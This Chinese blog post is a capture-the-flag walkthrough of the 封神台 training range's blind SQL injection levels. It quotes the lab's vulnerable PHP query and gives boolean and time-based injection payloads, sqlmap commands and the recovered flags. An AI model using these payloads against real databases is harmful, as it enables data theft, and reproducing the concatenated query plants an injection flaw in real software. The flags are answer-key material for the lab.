封神台靶场-盲注

布尔盲注(一)

image

核心代码

$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}

从代码我们知道他这里是直接拼接id获取的GET值,然后放到数据库进行查询;而且只会输出有数据和没数据

所以很明显这里我们显错注入不能用了,我们要采用盲注
我们在本关就采取布尔盲注的方式

猜解数据库长度

http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and length(database())=12

得出数据库名长度为:12

猜解数据库名-配合Burp跑包

http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select database()),1,1))=1

利用Burp跑这两个位置,第一个从1到13,第二个从1到127

image

image

得出数据库名为:kanwolongxia

猜解表名

http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100

得出表名有:user、loflag、news

查询loflag表字段名

http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1))=100

得出loflag表字段名有:Id,flaglo

查询loflag表flaglo字段数据

http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select flaglo from loflag limit 0,1),1,1))=100

得出loflag:zKaQ-QQQ,zKaQ-RD,zKaQ-Moren,zKaQ-time-hj,zKaQ-time-zxxz

经过验证:zKaQ-QQQ是本题flag

布尔盲注(二)

本题和第一关区别不大,我们直接用sqlmap跑即可

sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-11/index.php?id=1" --batch --level 3 --risk 2

经过验证:zKaQ-RD是本题flag

布尔盲注(三)

image

对于这个靶场和POST注入sqlmap跑的方式一样,抓个包跑

sqlmap -r 1.txt --flush-session --level 3 --risk 2 --batch

最终得到zKaQ-Moren是本题flag

如果想要手注的话可以采用如下语句

admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1 -- qwe

延时盲注(一)

和布尔注入一样我们可以手工跑

http://inject2b.lab.aqlab.cn/Pass-13/index.php?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=1),sleep(100),1) -- qwe

但是不推荐,我们直接上工具跑

sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-13/index.php?id=1" --level 3 --risk 2 --batch

得出flag数据为:

image

经验证zKaQ-time-hj为本题flag

延时盲注(二)

直接用sqlmap就可以

sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-14/index.php?id=1" --level 3 --risk 2 --batch

然后得到本题flag为:zKaQ-time-zxxz

posted @ 2021-09-05 22:12  hacker-裁决者  阅读(852)  评论(0)    收藏  举报